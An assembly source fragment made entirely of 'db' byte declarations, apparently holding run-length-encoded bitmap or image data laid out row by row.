db 00h,0c6h,00h,0c3h,0dbh,3ah,0c1h,0d5h,7ah,0c1h,0cfh,1dh
db 61h,79h,0c2h,40h,39h,40h,0c1h,0e7h,43h,0c2h,56h,79h,41h
db 1dh,79h,0bh,0adh,52h,0adh,56h,79h,0c2h,2dh,0bbh,0ah,1dh
db 33h,61h,69h,94h,55h,8fh,18h,0bbh,0c1h,0e5h,40h,0aeh,40h
db 0c2h,0bh,0c1h,0c3h,0c2h,5bh,74h,18h,60h,2eh,34h,12h,45h
db 12h,0c4h,45h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h
db 97h,0c1h,0dbh,0c1h,0c2h,3ah,21h,51h,0c1h,0cfh,0ah,1dh,6fh
db 40h,43h,0c2h,40h,0c2h,56h,0c2h,40h,0c3h,79h,0c3h,40h,22h
db 40h,6fh,0c3h,79h,5eh,0ah,74h,55h,5eh,79h,6fh,56h,0c1h
db 0f5h,0ah,55h,30h,0c1h,0e5h,40h,7bh,0c2h,0e5h,0c1h,0c3h
db 0c2h,5bh,0c1h,0dfh,63h,60h,57h,0c1h,0cdh,5fh,45h,5ch,36h
db 1bh,36h,4ch,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h
db 0c2h,3ah,0c1h,0c2h,0c1h,0d5h,21h,23h,59h,0ah,1dh,0bh,0c3h
db 40h,43h,22h,39h,0c2h,79h,0c1h,0e5h,0bh,0c2h,22h,7bh,0c2h
db 40h,0c1h,0e5h,6fh,0c2h,56h,79h,0ah,2ch,1bh,24h,9fh,0b7h
db 0bbh,43h,6fh,40h,0bbh,0c2h,0ah,2dh,0c1h,0e5h,6bh,0c1h
db 0c3h,2dh,5bh,0c1h,0dfh,04h,0c1h,0dfh,18h,2eh,1fh,0c2h
db 0b3h,45h,05h,36h,0c1h,0f6h,6eh,0ffh,00h,0ffh,00h,0ffh,00h
db 0ffh,00h,0c6h,00h,0c1h,0c2h,70h,3ah,0c1h,0dbh,51h,23h,59h
db 30h,2dh,0c1h,0e5h,0bh,0aeh,0c2h,40h,43h,56h,79h,0c1h,0e5h
db 0bh,0adh,7dh,22h,7bh,22h,0adh,40h,43h,40h,43h,79h,0bbh
db 0c2h,2ch,8ah,0c1h,0ceh,9bh,0b1h,0bbh,7bh,56h,40h,0c1h
db 0e5h,0ah,74h,2dh,6bh,5bh,69h,0c2h,5bh,0c1h,0dfh,74h,60h
db 2eh,0beh,0c2h,45h,0b3h,80h,05h,36h,5ch,0ffh,00h,0ffh,00h
db 0ffh,00h,0ffh,00h,0c6h,00h,0c1h,0c2h,70h,97h,67h,21h,26h
db 94h,0ah,2dh,0c2h,0bh,0c3h,40h,79h,2dh,0bh,7bh,0adh,7bh
db 22h,0c3h,0adh,0c2h,22h,43h,56h,43h,56h,79h,0ah,10h,0c2h
db 0ffh,01h,90h,9fh,9eh,0c1h,0f5h,0c2h,43h,79h,30h,74h,0c2h
db 7ch,1dh,7ch,5bh,5dh,0c1h,0dfh,74h,2eh,0b3h,80h,45h,05h
db 0c3h,36h,4ch,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h
db 0c1h,0c2h,0c2h,70h,0c1h,0eah,77h,0c1h,0d3h,1dh,5eh,2dh
db 0bh,7bh,0c2h,0bh,6bh,0c1h,0e5h,0bh,0c2h,7bh,0a5h,0c2h
db 0adh,22h,7dh,0adh,0c2h,40h,7dh,43h,56h,0c1h,0e2h,0c1h
db 0f5h,71h,56h,0c1h,0f7h,0c1h,0d7h,35h,1ch,50h,9fh,18h,5eh
db 0c1h,0e5h,79h,5eh,55h,74h,0c1h,0eeh,0c3h,5bh,0c1h,0dfh
db 74h,04h,60h,45h,0c3h,5ch,0c2h,36h,4ch,0bah,0ffh,00h,0ffh
db 00h,0ffh,00h,0ffh,00h,0c6h,00h,70h,3ah,0c1h,0dbh,0c1h
db 0eah,0c1h,0f0h,59h,6ch,0c1h,0c3h,0c2h,0bh,22h,0bh,0c2h
db 0e5h,0a5h,0adh,7bh,0adh,0c2h,7bh,0c4h,0adh,43h,40h,7dh
db 43h,56h,43h,79h,0c2h,3eh,10h,0c1h,0dbh,0c1h,0dch,01h,0c1h
db 0ddh,00h,0c1h,0e9h,18h,2dh,0bh,6bh,30h,74h,0c4h,5bh,5dh
db 74h,0c1h,0dfh,2eh,45h,0c2h,7fh,0c3h,36h,4ch,0c1h,0f1h
db 0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,3ah,70h,3ah
db 0c1h,0eah,39h,0bbh,0ah,2dh,0bh,40h,0adh,33h,2dh,6bh,40h
db 7dh,0adh,0aeh,7bh,0bh,22h,0adh,7dh,22h,7dh,43h,0c2h,7dh
db 0c2h,43h,56h,0bbh,18h,0bfh,0c1h,0e6h,0c2h,0b0h,0c1h,0deh
db 5ah,0c1h,0c1h,0b8h,55h,2dh,6bh,7ch,30h,0c2h,5bh,0c1h,0eeh
db 0c2h,5bh,5dh,5bh,60h,80h,5ch,45h,5ch,45h,36h,6eh,4ch,0ffh
db 00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,0c1h,0c2h,70h
db 0c1h,0d5h,0c1h,0f0h,10h,30h,5eh,0c2h,0bh,0c2h,40h,2dh,5bh
db 2dh,7bh,0adh,0c2h,7bh,0c2h,0bh,0c2h,22h,0c3h,7dh,0c2h,43h
db 52h,7dh,0c1h,0e2h,43h,0c2h,56h,0bbh,0bfh,19h,0c1h,0d0h
db 65h,85h,2ah,72h,9dh,7ch,3dh,7ch,0ah,30h,0c2h,5bh,0c1h
db 0eeh,5bh,5dh,30h,63h,34h,0c2h,5ch,0c2h,45h,05h,5ch,4ch
db 0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,70h,0c1h
db 0dbh,0c1h,0d5h,0c1h,0f0h,41h,71h,2dh,0bh,40h,22h,40h,1dh
db 18h,0ah,0bh,7bh,0c2h,0adh,0aeh,0c2h,0bh,22h,52h,0c2h,7dh
db 43h,7dh,52h,0c2h,7dh,43h,0c1h,0d3h,0c1h,0e7h,43h,56h,41h
db 6ch,0c1h,0d0h,20h,0c1h,0ceh,0b8h,0beh,0ah,7ch,0c2h,0c3h
db 5eh,5bh,7ch,0c4h,5bh,63h,6ah,45h,36h,45h,0b3h,45h,05h,4ch
db 0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,0c2h,3ah,97h
db 23h,61h,55h,2dh,33h,40h,22h,40h,0ah,8fh,55h,0c2h,2dh,0c1h
db 0c3h,0aeh,7dh,0adh,0bh,0adh,22h,0c2h,7dh,43h,7dh,43h,52h
db 43h,52h,43h,7dh,0aeh,0adh,43h,10h,0c2h,6ch,0bfh,9dh,8fh
db 0c1h,0c3h,69h,7ch,5eh,1dh,7ch,5bh,69h,0c2h,0eeh,5bh,30h
db 1fh,45h,12h,2eh,09h,34h,0b3h,36h,0ffh,00h,0ffh,00h,0ffh
db 00h,0ffh,00h,0c6h,00h,70h,0c1h,0dbh,0c1h,0eah,23h,46h,0ah
db 33h,0bh,0c2h,40h,56h,6fh,0c3h,0ah,60h,9ch,0c1h,0dfh,0a5h
db 0adh,0c2h,7bh,22h,52h,0fh,7dh,52h,43h,52h,0c2h,7dh,0c2h
db 52h,0c2h,7dh,43h,0c2h,77h,79h,61h,0c2h,1dh,0bh,2dh,0c2h
db 0c3h,7ch,5bh,69h,0c2h,7ch,0c1h,0eeh,69h,04h,60h,0c2h,45h
db 0c2h,2eh,09h,1fh,34h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h
db 0c6h,00h,3ah,70h,0c1h,0eah,0c1h,0cfh,46h,94h,33h,0c2h,6fh
db 0c1h,0e7h,40h,56h,40h,1dh,30h,5eh,9eh,12h,9ch,7bh,0aeh
db 2dh,0adh,52h,7dh,0c2h,52h,7dh,43h,52h,0c2h,43h,0c2h,7dh
db 43h,52h,43h,7dh,0aeh,0adh,0c2h,40h,22h,33h,0c2h,6bh,3dh
db 0c1h,0c3h,5bh,7ch,0c1h,0eeh,69h,5bh,30h,60h,0b3h,45h,2eh
db 4fh,60h,14h,1fh,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h
db 00h,0c2h,0dbh,0c1h,0f7h,47h,6ch,41h,79h,59h,40h,79h,0c2h
db 56h,0c1h,0e7h,7dh,0a5h,40h,52h,79h,0c1h,0cah,7ch,0a5h,0bh
db 0adh,7dh,0c2h,52h,0c5h,7dh,52h,0c2h,43h,0c3h,52h,7dh,0c2h
db 43h,7dh,0c2h,22h,0aeh,0bh,0c2h,6bh,0c1h,0c3h,3dh,0c1h
db 0c3h,0c2h,7ch,69h,30h,0c1h,0d4h,1fh,0b3h,1fh,30h,63h,0c2h
db 04h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,70h,0c1h
db 0eah,0c1h,0f0h,0c1h,0d3h,6ch,1dh,61h,0c1h,0f5h,79h,0c1h
db 0e5h,40h,0c2h,43h,7dh,0aeh,43h,52h,7dh,0bh,0c1h,0c3h,5eh
db 0c1h,0e5h,0c6h,7dh,43h,7dh,43h,0c3h,52h,43h,7dh,43h,0c3h
db 7dh,43h,7dh,0adh,0aeh,0c2h,0bh,6bh,0c1h,0c3h,7ch,0c1h
db 0c3h,7ch,69h,5eh,1eh,30h,1fh,0b3h,57h,30h,55h,14h,32h
db 0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,0c1h,0eah
db 0c1h,0dbh,0c1h,0eah,0c1h,0cfh,0c2h,6ch,0ah,30h,55h,9eh
db 9ah,0aeh,7dh,0c2h,22h,52h,7dh,52h,7dh,7bh,79h,40h,52h,43h
db 0c2h,7dh,43h,0c2h,7dh,40h,0adh,0c6h,7dh,43h,7dh,22h,0adh
db 22h,0c2h,40h,0bh,6bh,0c1h,0c3h,0c4h,7ch,0c1h,0c3h,5bh,30h
db 0c1h,0d4h,1fh,34h,1fh,69h,1eh,60h,14h,0ffh,00h,0ffh,00h
db 0ffh,00h,0ffh,00h,0c6h,00h,70h,0c1h,0d5h,0c1h,0f7h,0c1h
db 0e6h,6ch,71h,3eh,5fh,0abh,9ch,9eh,16h,6bh,0bh,56h,7dh,22h
db 0adh,0c3h,7dh,0c2h,52h,0c2h,7dh,0adh,43h,7dh,0adh,7dh
db 0aeh,43h,7dh,0adh,7dh,0aeh,0c3h,0adh,40h,0bh,7bh,0bh,0c2h
db 6bh,0c1h,0c3h,3dh,7ch,3dh,0c2h,7ch,5eh,1eh,55h,30h,14h
db 45h,34h,14h,69h,04h,14h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh
db 00h,0c6h,00h,3ah,0c1h,0eah,51h,46h,0bfh,18h,0c1h,0e9h
db 0c2h,73h,0b4h,07h,3fh,13h,0a5h,0adh,0c2h,22h,0adh,0c2h
db 7dh,52h,0c2h,7dh,43h,0adh,22h,0c2h,0adh,7dh,0aeh,43h,0c2h
db 0aeh,0adh,40h,0aeh,40h,0c3h,0aeh,0c2h,0bh,0c3h,6bh,0c2h
db 0c3h,0c3h,7ch,5bh,0c1h,0c3h,30h,55h,14h,5bh,1fh,80h,1fh
db 30h,0b6h,1eh,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h
db 3ah,0c1h,0eah,23h,0c1h,0efh,0ah,8fh,1bh,0b5h,5ch,2ch,5fh
db 0c2h,0abh,3fh,16h,0c3h,0adh,7dh,0adh,43h,7dh,52h,7dh,0c6h
db 0adh,0c4h,0aeh,0c2h,7bh,0c3h,0bh,0a5h,0c4h,6bh,0c2h,0c3h
db 3dh,7ch,5bh,7ch,5bh,3dh,30h,2eh,55h,53h,30h,1fh,09h,1fh
db 04h,14h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,97h
db 0c1h,0f7h,0c1h,0d3h,6ch,61h,74h,5ch,0bah,3eh,0c1h,0d3h
db 0c1h,0f5h,8fh,2ch,5fh,3fh,6bh,7bh,0aeh,7bh,0c2h,22h,7dh
db 52h,0c2h,0adh,40h,0aeh,40h,0aeh,40h,0aeh,0c1h,0e5h,40h
db 0c3h,0e5h,6bh,9ah,0c4h,0c3h,16h,0c2h,7ch,5bh,7ch,0c2h,5bh
db 0c3h,7ch,30h,63h,09h,71h,2dh,69h,63h,1fh,34h,1fh,0ffh,00h
db 0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,67h,68h,0c1h,0d3h,6ch
db 0c1h,0f5h,5eh,2ch,9fh,0bfh,02h,0c1h,0dbh,0c1h,0e2h,6ch
db 73h,07h,0c1h,0c9h,0a5h,7bh,0bh,22h,0adh,0c2h,22h,0c2h
db 0adh,0aeh,40h,0aeh,0bh,7bh,0bh,0c1h,0e5h,0a5h,0c1h,0e5h
db 6bh,9ah,6bh,0c1h,0c3h,7ch,0c1h,0c3h,0c1h,0eeh,0c2h,7ch
db 5bh,0c2h,7ch,5bh,7ch,5dh,7ch,5bh,7ch,30h,57h,2eh,9dh,06h
db 8dh,53h,0c2h,32h,11h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h
db 0c6h,00h,0c1h,0f0h,0c1h,0f7h,0c1h,0cfh,6ch,0bbh,18h,55h
db 3fh,9ch,56h,0c1h,0c2h,67h,0c1h,0eah,0c1h,0f0h,0a6h,4dh
db 16h,7bh,0bh,0c2h,0aeh,7bh,0adh,0c2h,0aeh,7bh,0bh,7bh,0c1h
db 0e5h,6bh,0c1h,0e5h,16h,6bh,16h,6bh,16h,0c1h,0c3h,16h,0c1h
db 0c3h,7ch,16h,7ch,5bh,7ch,5bh,7ch,9eh,13h,9eh,5bh,7ch,5bh
db 30h,55h,2eh,6ah,30h,06h,0fh,53h,57h,04h,0ffh,00h,0ffh,00h
db 0ffh,00h,0ffh,00h,0c6h,00h,02h,0c1h,0f7h,0a8h,0c2h,6ch
db 2eh,18h,0c1h,0c9h,0c1h,0cah,0bbh,0c2h,6fh,21h,92h,10h
db 0abh,0c1h,0cah,6bh,40h,2dh,0bh,40h,0bh,0adh,0aeh,7bh,0c1h
db 0e5h,0bh,0c1h,0e5h,0c5h,6bh,16h,5eh,0c1h,0c3h,16h,5eh
db 0c2h,7ch,5eh,13h,5bh,0c2h,9eh,5bh,9eh,13h,5bh,69h,5bh
db 0c2h,30h,2eh,1fh,55h,61h,43h,06h,30h,32h,0ffh,00h,0ffh
db 00h,0ffh,00h,0ffh,00h,0c6h,00h,0c1h,0eah,0c1h,0f7h,0a8h
db 0bfh,55h,3eh,18h,0ah,0c1h,0c9h,0c2h,3fh,9eh,56h,0c1h,0e2h
db 0c1h,0f5h,2ch,0abh,0c1h,0cah,0c1h,0e5h,33h,59h,40h,0bh
db 0c2h,0aeh,0bh,0c2h,0e5h,0c3h,6bh,16h,2dh,5eh,7ch,5eh,7ch
db 5eh,5bh,7ch,0c2h,5bh,9eh,5dh,0c1h,0dfh,5dh,74h,0c2h,9eh
db 5bh,0c1h,0eeh,5bh,04h,30h,4fh,63h,55h,71h,43h,0fh,53h,63h
db 0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,3ah,0c1h
db 0f7h,0c2h,6ch,30h,9dh,18h,0c1h,0cah,3fh,0c3h,0c9h,16h
db 0c1h,0c9h,0bfh,18h,5ch,0c1h,0f3h,9ch,0c2h,2dh,6fh,0c1h
db 0e5h,40h,7bh,0bh,0c1h,0e5h,0c2h,6bh,2dh,6bh,2dh,7ch,5eh
db 7ch,5eh,0c4h,5bh,9eh,5dh,9eh,0c2h,74h,0c1h,0dfh,0c2h,74h
db 5dh,9eh,5bh,04h,55h,04h,63h,74h,55h,14h,6fh,52h,6fh,63h
db 0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,0c1h,0d5h
db 0c1h,0d3h,19h,6ch,0ah,18h,3eh,4dh,3fh,0c3h,0c9h,0c3h,16h
db 3fh,9ch,73h,0a2h,0abh,9eh,0c1h,0e5h,79h,0c1h,0e5h,0bh
db 0c3h,0e5h,6bh,2dh,16h,0c1h,0c3h,5eh,7ch,0c3h,5bh,0c1h
db 0c9h,0c2h,5bh,9eh,0c2h,5bh,9eh,0c2h,74h,0c3h,9eh,5bh,04h
db 63h,0c1h,0dfh,0c1h,0d4h,30h,0c3h,74h,1dh,0c1h,0fbh,52h
db 0c1h,0d4h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h
db 67h,0a8h,6ch,41h,1dh,0bbh,55h,60h,0abh,0c1h,0cah,9eh,0c1h
db 0c9h,0c3h,16h,0c2h,0c9h,0c1h,0cah,5fh,0a2h,0abh,5eh,79h
db 0c5h,0e5h,6bh,0c2h,2dh,0c2h,5eh,5bh,0c2h,5eh,5bh,0ah,0c4h
db 5bh,0c1h,0dfh,5bh,0c1h,0dfh,5bh,0c1h,0dfh,5dh,5bh,0c1h
db 0dfh,04h,0c1h,0dfh,30h,5bh,0ah,30h,9eh,30h,55h,77h,0c1h
db 0edh,69h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h
db 0c1h,0eah,0a8h,6ch,0c1h,0f5h,79h,0c1h,0f5h,1dh,0ah,4fh
db 60h,0c2h,0cah,0c4h,0c9h,74h,5bh,74h,18h,0c1h,0cah,5eh,0bh
db 79h,0bh,79h,6bh,0c1h,0e5h,2dh,0c1h,0c3h,2dh,0c3h,5eh,5bh
db 5eh,7ch,5eh,5bh,74h,9eh,0c2h,74h,0c1h,0dfh,30h,0c1h,0dfh
db 0c2h,5bh,0c1h,0dfh,5dh,0c3h,5bh,6bh,2dh,5eh,0c2h,74h,55h
db 39h,77h,69h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h
db 02h,10h,46h,6fh,79h,40h,0c2h,56h,79h,1dh,0ah,0c2h,30h
db 0c1h,0c9h,5bh,0ah,5eh,7ch,2dh,7bh,0c1h,0e7h,6fh,0c1h,0e5h
db 0c2h,0bh,0c1h,0e5h,0c2h,2dh,6bh,5eh,2dh,0c1h,0c3h,5eh,7ch
db 0c2h,5eh,69h,7ch,5eh,0c3h,5bh,74h,0c1h,0dfh,74h,0c2h,5bh
db 0c1h,0dfh,5bh,5dh,0c2h,5bh,2dh,0bh,0c1h,0e5h,5bh,0c1h
db 0cah,9eh,8fh,0c1h,0e7h,77h,53h,0ffh,00h,0ffh,00h,0ffh,00h
db 0ffh,00h,0c6h,00h,0c1h,0f0h,0c1h,0f5h,41h,2dh,6fh,0bh
db 0c5h,40h,0c2h,6fh,0c2h,2dh,6fh,79h,6fh,0c2h,22h,0c4h,40h
db 0c4h,0bh,0c2h,6bh,2dh,5eh,69h,2dh,69h,5eh,69h,7ch,30h
db 0c2h,5bh,30h,5dh,30h,5bh,0c1h,0dfh,5bh,0c2h,30h,0c2h,5bh
db 0c1h,0c3h,40h,0a5h,16h,0ah,0c1h,0c9h,55h,30h,0c1h,0e7h
db 22h,04h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,86h
db 46h,1dh,6fh,0c1h,0e5h,0c3h,40h,0adh,0c2h,43h,52h,43h,7dh
db 22h,0c1h,0e7h,0c2h,40h,22h,0c2h,40h,6fh,0bh,40h,0bh,0c1h
db 0e5h,0c2h,0bh,0c1h,0e5h,2dh,0c1h,0c3h,33h,0c2h,2dh,5eh
db 0c1h,0c3h,5eh,0c2h,69h,7ch,5bh,5dh,0c3h,5bh,5dh,0c2h,5bh
db 0c1h,0dfh,5bh,3dh,0bh,6bh,0c1h,0cah,4dh,55h,0ah,5eh,30h
db 06h,2dh,04h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h
db 47h,6ch,53h,2dh,0bh,0aeh,0c2h,0bh,40h,0adh,7dh,43h,0c2h
db 52h,43h,7dh,0c3h,22h,0c5h,40h,0c3h,0bh,0c1h,0e5h,0c2h,2dh
db 6bh,2dh,6bh,0c3h,2dh,69h,7ch,69h,7ch,30h,0c2h,5bh,5dh,74h
db 5bh,5dh,0c1h,0dfh,5dh,7ch,9ah,40h,0bh,74h,9eh,0bbh,0c1h
db 0e5h,2dh,0ah,0c2h,69h,32h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh
db 00h,0c6h,00h,23h,19h,30h,0bh,0c1h,0e5h,0bh,0c1h,0e5h,7bh
db 0aeh,0c2h,7dh,52h,43h,52h,0c3h,43h,0c4h,22h,6fh,0c2h,40h
db 0bh,33h,0bh,6fh,0bh,2dh,33h,0c2h,2dh,5eh,0c1h,0c3h,5eh
db 2dh,0c1h,0c3h,5eh,69h,0c2h,5bh,74h,0c2h,5bh,74h,5dh,74h
db 0c1h,0c3h,0a5h,7bh,0adh,22h,0c2h,0adh,56h,0c1h,0e5h,6bh
db 33h,0c1h,0c3h,0b6h,96h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh
db 00h,0c6h,00h,0c1h,0d3h,48h,14h,2dh,0bh,6bh,0c1h,0e5h,0bh
db 0aeh,0adh,0c3h,52h,43h,52h,0c2h,43h,22h,0c1h,0e7h,40h,6fh
db 40h,6fh,40h,6fh,33h,0bh,33h,0bh,33h,0bh,6bh,0c4h,2dh,0c1h
db 0c3h,5eh,7ch,5bh,69h,5bh,5dh,74h,0c2h,5dh,74h,55h,0c1h
db 0c3h,0c1h,0e5h,0aeh,0adh,7dh,0c1h,0d9h,52h,0aeh,79h,1dh
db 0c1h,0c3h,3dh,5dh,11h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h
db 0c6h,00h,86h,8fh,4fh,69h,6bh,2dh,79h,0a5h,7bh,0aeh,0c3h
db 7dh,0c2h,43h,40h,0c2h,22h,40h,6fh,0c2h,40h,6fh,40h,0c2h
db 0bh,0c1h,0e5h,0c2h,0bh,0c1h,0e5h,0c2h,0bh,6bh,0bh,16h,2dh
db 69h,7ch,0c2h,5bh,0c1h,0eeh,5bh,0c3h,74h,0c1h,0dfh,63h,30h
db 0c1h,0c9h,5eh,0aeh,7dh,43h,7dh,0c2h,40h,79h,0ah,33h,0b6h
db 0c2h,32h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,47h
db 6ch,8fh,55h,0ah,5bh,2dh,6bh,0c1h,0e5h,0aeh,40h,0aeh,40h
db 0aeh,40h,0bh,6fh,0bh,6fh,0c6h,0bh,2dh,0bh,2dh,0c1h,0e5h
db 33h,6bh,0c1h,0c3h,33h,0c1h,0c3h,2dh,7ch,5eh,5bh,30h,0c2h
db 5bh,0c1h,0dfh,63h,0c2h,60h,29h,60h,5bh,74h,9ch,0a5h,0adh
db 0c2h,7dh,0aeh,0c1h,0e5h,0c2h,79h,33h,0b6h,5dh,0b6h,0ffh
db 00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,86h,59h,8fh,0c2h
db 2eh,0c2h,30h,5eh,0c1h,0c3h,0c5h,0bh,0a5h,33h,0bh,33h,0bh
db 33h,0c2h,0bh,33h,0bh,0c1h,0e5h,0c2h,2dh,6bh,2dh,0c1h,0c3h
db 2dh,69h,5eh,7ch,0ah,7ch,0c2h,5bh,0c2h,5dh,0c2h,63h,60h
db 11h,6ah,4eh,60h,0c1h,0cah,9ch,0b4h,4dh,0c2h,0a5h,0aeh
db 0a5h,0c1h,0e5h,40h,6fh,33h,5dh,0b6h,3dh,0ffh,00h,0ffh,00h
db 0ffh,00h,0ffh,00h,0c6h,00h,0c1h,0f0h,0c1h,0cfh,94h,0a6h
db 09h,9dh,18h,30h,7ch,69h,0c2h,0c3h,9ah,6bh,2dh,0bh,0c1h
db 0e5h,2dh,0bh,2dh,0bh,33h,0c3h,6bh,0c1h,0c3h,2dh,7ch,0c1h
db 0c3h,5eh,7ch,5bh,7ch,0c3h,5bh,30h,63h,74h,29h,63h,11h,9ch
db 12h,07h,9ch,60h,0c1h,0cah,9ch,0b4h,0c1h,0f3h,0abh,0c1h
db 0c9h,16h,0c1h,0e5h,56h,39h,0c1h,0e7h,0c1h,0d2h,69h,0c2h
db 8dh,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,86h,0eh
db 0c1h,0d4h,4fh,09h,0c2h,6ah,60h,30h,5bh,0c2h,7ch,69h,0c2h
db 0c3h,69h,2dh,0c4h,69h,2dh,69h,2dh,69h,0c1h,0c3h,69h,5bh
db 5eh,0c2h,5bh,30h,5bh,30h,5dh,74h,0c1h,0dfh,63h,29h,60h
db 4eh,0abh,12h,73h,12h,0c2h,4eh,60h,5fh,73h,27h,0b5h,7fh
db 9dh,40h,77h,39h,8dh,69h,0c1h,0d2h,22h,0fh,0ffh,00h,0ffh
db 00h,0ffh,00h,0ffh,00h,0c6h,00h,59h,94h,0c1h,0d4h,09h,6ah
db 80h,05h,5ch,6ah,60h,5dh,9eh,0c3h,5bh,69h,5bh,30h,5bh,30h
db 5bh,0ah,7ch,69h,5bh,30h,5bh,0c4h,30h,0c1h,0dfh,0c2h,74h
db 0c2h,0cah,60h,9ch,60h,07h,0b4h,0c2h,73h,0c2h,12h,9ch,4dh
db 1fh,0abh,5ch,7fh,4ch,80h,41h,92h,43h,6fh,0b6h,06h,22h,0fh
db 6fh,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,94h,0c1h
db 0d4h,57h,09h,0b3h,45h,0c1h,0f6h,0c2h,24h,7fh,12h,5fh,4eh
db 0c2h,60h,29h,0c2h,60h,74h,0c1h,0cah,74h,0c1h,0cah,0c2h
db 74h,0c1h,0cah,18h,63h,74h,0c1h,0cah,60h,0c1h,0cah,0c2h
db 60h,9ch,0c2h,60h,6ah,07h,0c2h,73h,0c1h,0f3h,0c2h,73h,07h
db 4eh,11h,60h,11h,0c2h,5fh,0beh,0bfh,0c2h,39h,0c1h,0f8h
db 0c1h,0f5h,53h,1eh,0c1h,0d2h,0c1h,0e7h,6fh,53h,0ffh,00h
db 0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,14h,4fh,57h,34h,45h
db 05h,0c1h,0f6h,0bah,0dh,0c1h,0c8h,24h,0c2h,84h,7fh,5ch,73h
db 12h,0b4h,12h,0c3h,0abh,0c2h,9ch,07h,0c3h,0abh,07h,0abh
db 07h,5fh,07h,5fh,07h,0c2h,12h,73h,5ch,0c2h,7fh,73h,12h,4eh
db 29h,9ch,0c2h,29h,5fh,4fh,23h,0c1h,0d5h,39h,46h,14h,5eh
db 30h,1eh,33h,69h,30h,55h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh
db 00h,0c6h,00h,14h,57h,1fh,0b3h,12h,45h,4ch,0bah,0dh,0c1h
db 0c8h,84h,24h,84h,24h,1bh,27h,7fh,0c1h,0f3h,27h,0c2h,7fh
db 73h,0c1h,0f3h,0c4h,73h,12h,0c4h,73h,0c2h,12h,0c2h,73h,5ch
db 0c1h,0f3h,5ch,0c1h,0f3h,73h,07h,4eh,60h,63h,60h,18h,60h
db 30h,39h,58h,23h,48h,2eh,5bh,5dh,30h,0c2h,53h,30h,0c2h,63h
db 0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,0c1h,0d4h
db 57h,1fh,0b3h,0c2h,45h,1bh,72h,0c1h,0c1h,0a7h,9fh,0c2h,84h
db 0c1h,0f1h,24h,0c2h,7fh,5ch,7fh,5ch,73h,0c2h,5ch,73h,5ch
db 0c3h,73h,5fh,0c2h,12h,0c3h,73h,5ch,0c1h,0f3h,5ch,0c1h
db 0f3h,73h,12h,0c2h,4eh,60h,0c2h,63h,0c2h,74h,6ch,39h,92h
db 41h,0c1h,0cdh,0b3h,2eh,5bh,63h,0c1h,0dfh,04h,30h,04h,55h
db 32h,0ffh,00h,0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,0c1h
db 0d4h,57h,1fh,0c2h,45h,7fh,4ch,0bah,0c1h,0c1h,0c1h,0f1h
db 1bh,4ch,1bh,84h,4ch,84h,0c1h,0e9h,73h,80h,12h,0c2h,5fh
db 0c3h,12h,0c2h,5fh,12h,0c3h,5fh,0c2h,12h,73h,12h,0c2h,73h
db 07h,0c2h,4eh,60h,29h,32h,60h,74h,0ah,5eh,51h,23h,6ch,05h
db 1bh,6ah,29h,63h,0c2h,04h,0c2h,0dfh,14h,32h,1fh,0ffh,00h
db 0ffh,00h,0ffh,00h,0ffh,00h,0c6h,00h,0c2h,57h,1fh,45h,5ch
db 1bh,0c1h,0f1h,0bah,0dh,0c1h,0f1h,0c2h,1bh,5ch,1bh,0c2h
db 4ch,1bh,80h,0c2h,6ah,1fh,09h,0c3h,2eh,1fh,60h,1fh,11h
db 0c2h,34h,12h,5fh,34h,07h,34h,11h,0c2h,60h,4eh,29h,0c2h
db 55h,30h,0ah,61h,59h,79h,55h,0c1h,0e0h,05h,0b3h,0c3h,32h
db 0c1h,0dfh,0c2h,32h,14h,57h,34h,14h,0ffh,00h,0ffh,00h,0ffh
db 00h,0ffh,00h,0c6h,00h,0ch,04h,02h,05h,75h,83h,82h,0bah
db 0c3h,0afh,80h,1dh,07h,0c1h,86h,2ch,83h,51h,0bh,0c9h,0a3h
db 5dh,0b5h,57h,0bh,24h,43h,43h,93h,6ch,1bh,0c8h,8bh,61h
db 0e7h,0a6h,6eh,0c8h,0e3h,0d4h,48h,08h,05h,0aeh,0a3h,5fh
db 0dbh,0c4h,81h,0c5h,0a4h,92h,0b9h,6fh,11h,0a3h,54h,0ah
db 0deh,85h,34h,0b1h,83h,34h,81h,6eh,56h,0e7h,8bh,63h,49h
db 28h,0ch,0b6h,71h,3fh,9eh,84h,6ch,09h,26h,24h,7fh,39h,08h
db 4ah,63h,5ch,0c7h,94h,6bh,0c3h,93h,33h,0a7h,6dh,1ch,80h
